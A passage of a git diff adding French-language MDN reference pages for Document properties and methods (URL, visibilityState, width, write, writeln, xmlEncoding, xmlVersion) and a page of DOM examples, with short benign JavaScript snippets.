+ <li>Cet évènement sur les cibles <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window">Window</a></code> : <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/transitionend_event">transitionend</a></code></li>
+</ul>
diff --git a/files/fr/web/api/document/url/index.html b/files/fr/web/api/document/url/index.html
new file mode 100644
index 0000000000..32b79c706d
--- /dev/null
+++ b/files/fr/web/api/document/url/index.html
@@ -0,0 +1,24 @@
+---
+title: Document.URL
+slug: Web/API/Document/URL
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Retourne l'<code><strong>URL</strong></code> du {{domxref("Document")}} sous forme de string (lecture seule).</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js">var <em>string</em> = document.URL
+</pre>
+
+<h2 id="Specification" name="Specification">Exemple</h2>
+
+<pre><code>var currentURL = document.URL;
+alert(currentURL);</code></pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-46183437">DOM Level 2 HTML: URL</a></li>
+</ul>
diff --git a/files/fr/web/api/document/visibilitystate/index.html b/files/fr/web/api/document/visibilitystate/index.html
new file mode 100644
index 0000000000..4f8c7ec071
--- /dev/null
+++ b/files/fr/web/api/document/visibilitystate/index.html
@@ -0,0 +1,123 @@
+---
+title: Document.visibilityState
+slug: Web/API/Document/visibilityState
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+  - Visibilité
+translation_of: Web/API/Document/visibilityState
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>La propriété en lecture seule <code><strong>Document.visibilityState</strong></code> renvoie la visibilité du {{domxref('document')}}, c'est-à-dire informe si l'élément est visible dans son contexte. Il est utile de savoir si le document est en arrière-plan ou sur un onglet invisible ou seulement chargé pour le pré-rendu. Les valeurs possibles sont :</p>
+
+<ul>
+ <li><strong><code>'visible'</code></strong> : le contenu de la page peut être au-moins partiellement visible. Dans la pratique, cela signifie que la page est l'onglet de premier plan d'une fenêtre non réduite.</li>
+ <li><strong><code>'hidden</code>'</strong> (<em>caché</em>) : le contenu de la page n'est pas visible pour l'utilisateur. Dans la  pratique , cela signifie que le document est soit dans un onglet d'arrière-plan ou une  partie d'une fenêtre réduite, soit que le verrouillage de l'écran du système d'exploitation est actif.</li>
+ <li><strong><code>'prerender'</code></strong> (<em>prérendu</em>) : le contenu de la page est prérendu et n'est pas visible par l'utilisateur (considéré caché aux fins de <code><a href="/en-US/docs/Web/API/Document/hidden">document.hidden</a></code>). Le document peut démarrer dans cet état mais ne changera jamais à partir d'une autre valeur. Note : le support du navigateur est facultatif.</li>
+ <li><strong><code>'unloaded</code>'</strong> (<em>déchargé</em>) : la page est en train d'être déchargée de la mémoire. Remarque : le support du navigateur est facultatif.</li>
+</ul>
+
+<p>Lorsque la valeur de cette propriété change, l'évènement {{event('visibilitychange')}} est envoyé au {{domxref("Document")}}.</p>
+
+<p>L'utilisation typique de ceci peut être d'empêcher le téléchargement de certains éléments actifs lorsque le document est uniquement prérendu, ou d'arrêter certaines activités lorsque le document est en arrière-plan ou réduit au minimum.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>string</em> = document.visibilityState</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js; line-numbers  language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"visibilitychange"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span> document<span class="punctuation token">.</span>visibilityState <span class="punctuation token">)</span><span class="punctuation token">;
+  // Modifier le comportement...</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>13 {{property_prefix("webkit")}}<br>
+    33</td>
+   <td>{{CompatGeckoDesktop(18)}} [2]</td>
+   <td>10</td>
+   <td>12.10[1]</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4 {{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoMobile(18)}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10[1]</td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <td><code>prerender</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Ne lance pas l'évènement {{event('visibilitychange')}} lorsque la fenêtre du navigateur est réduite, ni si <code>hidden</code> est défini à <code>true</code>.</p>
+
+<p>[2] De Firefox 10 à Firefox 51 inclus, cette propriété peut être utilisée avec le préfixe <code>-moz-</code>.</p>
diff --git a/files/fr/web/api/document/width/index.html b/files/fr/web/api/document/width/index.html
new file mode 100644
index 0000000000..94c91d793d
--- /dev/null
+++ b/files/fr/web/api/document/width/index.html
@@ -0,0 +1,45 @@
+---
+title: Document.width
+slug: Web/API/Document/width
+translation_of: Web/API/Document/width
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
+<p><strong>Remarque:</strong> À partir de {{Gecko("6.0")}},<code> document.width </code>n'est plus pris en charge. Au lieu de cela, utilisez document.body.clientWidth. Voir {{domxref("element.clientWidth")}}.</p>
+</div>
+
+<p>Renvoie la largeur de l'élément {{HTMLElement("body")}} du document courrent en pixels.</p>
+
+<p>Non pris en charge par Internet Explorer.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>pixels</em> = document.width;
+</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">function init() {
+    alert("La largeur du document est " + document.width + " pixels.");
+}
+</pre>
+
+<h2 id="Alternatives" name="Alternatives">Alternatives</h2>
+
+<pre class="syntaxbox">document.body.clientWidth              /* largeur de &lt;body&gt; */
+document.documentElement.clientWidth   /* largeur de &lt;html&gt; */
+window.innerWidth                      /* largeur de la fenêtre */
+</pre>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<p>HTML5</p>
+
+<h2 id="See_also" name="See_also">Voir également</h2>
+
+<ul>
+ <li>{{domxref("document.height")}}</li>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/write/index.html b/files/fr/web/api/document/write/index.html
new file mode 100644
index 0000000000..e0aec07be3
--- /dev/null
+++ b/files/fr/web/api/document/write/index.html
@@ -0,0 +1,96 @@
+---
+title: document.write
+slug: Web/API/Document/write
+tags:
+  - API
+  - DOM
+  - Document
+  - Méthodes
+  - Rérérence
+translation_of: Web/API/Document/write
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Écrit une chaîne de texte dans un document ouvert par <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/open">document.open()</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> comme <code>document.write</code> écrit <span class="short_text" id="result_box" lang="fr"><span>dans le flux de documents,</span></span> appeler <code>document.write</code> <span id="result_box" lang="fr"><span>sur un document fermé (chargé) appelle automatiquement <code>document.open</code>, ce qui efface le document.</span></span></p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">document.write(<em>balisage</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>markup</code></dt>
+ <dd>est une chaîne de caractères contenant le texte à écrire dans le document.</dd>
+</dl>
+
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;Exemple de document.write&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function nouveauContenu()
+{
+alert("chargement du nouveau contenu");
+document.open();
+document.write("&lt;h1&gt;Assez de l'ancien contenu, passons au nouveau !&lt;/h1&gt;");
+document.close();
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="nouveauContenu();"&gt;
+&lt;p&gt;Ceci est le contenu original du document.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Écrire dans un document qui a déjà été chargé sans appeler <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/open">document.open()</a> provoquera un appel automatique à <code>document.open</code>. Une fois l'écriture terminée, il est recommandé d'appeler <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/close">document.close()</a> pour indiquer au navigateur qu'il peut terminer de charger la page. Le texte fourni est analysé et intégré à la structure du modèle de document. Dans l'exemple ci-dessus, l'élément <code>h1</code> devient un nœud dans le document.</p>
+
+<p>Si l'appel à <code>document.write()</code> est intégré directement dans le code HTML, il n'appellera pas <code>document.open()</code>. Par exemple :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+  document<span class="punctuation token">.</span><span class="function token">write</span><span class="punctuation token">(</span><span class="string token">"&lt;h1&gt;Main title&lt;/h1&gt;"</span><span class="punctuation token">)</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Note :</strong> <code>document.write</code> et <code>document.writeln <a href="https://developer.mozilla.org/fr/docs/Archive/Web/Writing_JavaScript_for_HTML">ne fonctionnent pas dans les documents XHTML</a> (vous obtiendrez une erreur </code> "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] dans la console d'erreurs). Cela arrive lors de l'ouverture d'un fichier local avec l'extension de fichier  .xhtm ou pour tout document servi avec une  <code>application/xhtml+xml</code> de <a href="https://developer.mozilla.org/fr/docs/Glossaire/Type_MIME">type MIME</a>. Plus d'informations disponibles dans la   <a class="external external-icon" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">foire aux questions W3C XHTML (en)</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> <code>document.write</code> dans les scripts <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">deferred (<em>différé</em>)</a> ou <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">asynchronous (<em>asynchrone</em>)</a> sera ignoré et vous recevrez un message comme  "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" dans la console d'erreurs.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Dans Edge seulement, appeler plusieurs fois <code>document.write</code> dans un "iframe" déclenche une erreur "SCRIPT70: Permission denied." <em>(autorisation refusée)</em>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>À partir de la version 55, Chrome n'exécute pas les éléments <code>&lt;script&gt;</code> injectés via <code>document.write()</code> en cas d'échec de cache HTTP pour les utilisateurs sur une connexion 2G.</span></span></p>
+</div>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/2011/WD-html5-author-20110705/apis-in-html-documents.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/fr/web/api/document/writeln/index.html b/files/fr/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..046c069cbc
--- /dev/null
+++ b/files/fr/web/api/document/writeln/index.html
@@ -0,0 +1,58 @@
+---
+title: Document.writeln()
+slug: Web/API/Document/writeln
+tags:
+  - API
+  - DOM
+  - Method
+  - Reference
+translation_of: Web/API/Document/writeln
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Écrit une chaine de caractères suivie d'un retour de ligne.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval notranslate">document.writeln(<em>ligne</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
+ <li><code>ligne</code> est la chaine de caractère contenant le texte.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="notranslate">document.writeln("&lt;p&gt;Entrez votre mot de passe :&lt;/p&gt;");
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><strong>document.writeln </strong>est identique à <a href="/en-US/docs/Web/API/Document/write">{{domxref("document.write")}}</a>, mais ajoute une nouvelle ligne.</p>
+
+<div class="note"><strong>Note :</strong> <strong>document.writeln</strong> (comme <strong>document.write</strong>) n'a aucun effet en XHTML documents (vous obtiendrez une erreur "Operation is not supported" (<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>) dans la console). Ceci est le cas si un fichier est ouvert en local avec l'extension .xhtml ou pour tous documents utilisant le type MIME application/xhtml+xml. Pour plus d'informations, visitez <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite" title="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Spécification</strong></td>
+   <td><strong>État</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-writeln", "document.writeln()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-35318390", "document.writeln()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Document.writeln")}}</p>
diff --git a/files/fr/web/api/document/xmlencoding/index.html b/files/fr/web/api/document/xmlencoding/index.html
new file mode 100644
index 0000000000..e3b98135f1
--- /dev/null
+++ b/files/fr/web/api/document/xmlencoding/index.html
@@ -0,0 +1,35 @@
+---
+title: Document.xmlEncoding
+slug: Web/API/Document/xmlEncoding
+tags:
+  - API
+  - DOM
+  - Document
+  - Encodage
+  - Propriétés
+  - XML
+translation_of: Web/API/Document/xmlEncoding
+---
+<p>{{APIRef("DOM")}}{{ obsolete_header("10.0") }}</p>
+
+<p>Renvoie le codage déterminé par la déclaration XML. Devrait être <code>null</code> si non précisé ou inconnu.</p>
+
+<div class="warning"><strong>Warning :</strong> N'utilisez pas cet attribut ; il a été supprimé de la spécification DOM Niveau 4 et n'est plus pris en charge dans Gecko 10.0 {{ geckoRelease("10.0") }}.</div>
+
+<p>Si la déclaration XML indique :</p>
+
+<pre>&lt;?xml version="1.0" encoding="UTF-16"?&gt;
+</pre>
+
+<p>... le résultat doit être "UTF-16".</p>
+
+<p>Cependant, Firefox 3.0 inclut des informations sur l'"endianness" (par exemple, UTF-16BE pour le codage "big endian") et, tandis que cette information supplémentaire est supprimée à partir de Firefox 3.1b3, Firefox 3.1b3 consulte toujours l'encodage du fichier plutôt que la déclaration XML, comme la spécification le prévoit ("Un attribut spécifiant, <u><em>dans le cadre de la déclaration XML</em></u>, l'encodage de ce document.").</p>
+
+<p> </p>
+
+<h3 id="Spécification">Spécification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-encoding" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...ment3-encoding</a></li>
+ <li>A été supprimé de {{ spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD") }}</li>
+</ul>
diff --git a/files/fr/web/api/document/xmlversion/index.html b/files/fr/web/api/document/xmlversion/index.html
new file mode 100644
index 0000000000..ce2a197b51
--- /dev/null
+++ b/files/fr/web/api/document/xmlversion/index.html
@@ -0,0 +1,29 @@
+---
+title: Document.xmlVersion
+slug: Web/API/Document/xmlVersion
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+  - XML
+  - version
+translation_of: Web/API/Document/xmlVersion
+---
+<p>{{APIRef("DOM")}}{{ obsolete_header("10.0") }}</p>
+
+<p>Renvoie le numéro de version comme spécifié dans la déclaration XML (par exemple, <code>&lt;?xml version="1.0"?&gt;</code>) ou "1.0" si la déclaration est absente.</p>
+
+<p>Cet attribut n'a jamais été réellement utile, parce qu'il a toujours renvoyé 1.0, et a été supprimé dans la spécification DOM Niveau 4. En conséquence, Firefox 10 ne l'implémente plus. Son utilisation principale dans le passé consistait à détecter si le document était rendu en XML plutôt qu'en HTML. Pour ce faire, vous pouvez créer un élément avec son nom en minuscule, puis vérifier s'il est converti en majuscules (auquel cas le document est en mode HTML non XML) :</p>
+
+<pre>if (document.createElement("foo").tagName == "FOO") {
+  /* le document n'est pas XML */
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Document3-version" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...ument3-version</a></li>
+ <li>A été supprimée de {{ spec("http://www.w3.org/TR/domcore/","DOM Core Level 4","WD") }}</li>
+</ul>
diff --git a/files/fr/web/api/document_object_model/exemples/index.html b/files/fr/web/api/document_object_model/exemples/index.html
new file mode 100644
index 0000000000..08bd432a1e
--- /dev/null
+++ b/files/fr/web/api/document_object_model/exemples/index.html
@@ -0,0 +1,369 @@
+---
+title: Exemples
+slug: Web/API/Document_Object_Model/Exemples
+tags:
+  - DOM
+  - Exemples
+translation_of: Web/API/Document_Object_Model/Examples
+---
+<p>Cette page présente quelques exemples plus détaillés de développement Web et XML utilisant le DOM. Partout où c'est possible, les exemples utilisent des API courantes, des astuces et des modèles en JavaScript pour manipuler l'objet de document.</p>
+
+<h2 id="Exemple_1_:_height_et_width" name="Exemple_1_:_height_et_width">Exemple 1 : <em>height</em> (hauteur) et width <em>(largeur)</em></h2>
+
+<p>L'exemple qui suit montre l'utilisation des propriétés <code>height</code> et <code>width</code> pour dimensionner des images de diverses tailles :</p>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>width/height example<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">init</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> arrImages <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Array</span><span class="punctuation token">(</span><span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  arrImages<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"image1"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  arrImages<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span> <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"image2"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  arrImages<span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">]</span> <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"image3"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> objOutput <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> strHtml <span class="operator token">=</span> <span class="string token">"&lt;ul&gt;"</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> arrImages<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    strHtml <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"&lt;li&gt;image"</span> <span class="operator token">+</span> <span class="punctuation token">(</span>i<span class="operator token">+</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="operator token">+</span>
+            <span class="string token">": height="</span> <span class="operator token">+</span> arrImages<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>height <span class="operator token">+</span>
+            <span class="string token">", width="</span> <span class="operator token">+</span> arrImages<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>width <span class="operator token">+</span>
+            <span class="string token">", style.height="</span> <span class="operator token">+</span> arrImages<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>height <span class="operator token">+</span>
+            <span class="string token">", style.width="</span> <span class="operator token">+</span> arrImages<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>width <span class="operator token">+</span>
+            <span class="string token">"&lt;\/li&gt;"</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  strHtml <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"&lt;\/ul&gt;"</span><span class="punctuation token">;</span>
+
+  objOutput<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> strHtml<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>init();<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Image 1: no height, width, or style
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image1<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/images/mozilla-banner.gif<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Image 2: height="50", width="500", but no style
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image2<span class="punctuation token">"</span></span>
+       <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/images/mozilla-banner.gif<span class="punctuation token">"</span></span>
+       <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>500<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Image 3: no height, width, but style="height: 50px; width: 500px;"
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image3<span class="punctuation token">"</span></span>
+       <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/images/mozilla-banner.gif<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token">
+       <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span> <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">500</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Exemple_2_:_attributs_d.27image" name="Exemple_2_:_attributs_d.27image">Exemple 2 : attributs d'image</h2>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">lang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Modifying an image border<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">function</span> <span class="function token">setBorderWidth</span><span class="punctuation token">(</span>width<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"img1"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>borderWidth <span class="operator token">=</span> width <span class="operator token">+</span> <span class="string token">"px"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
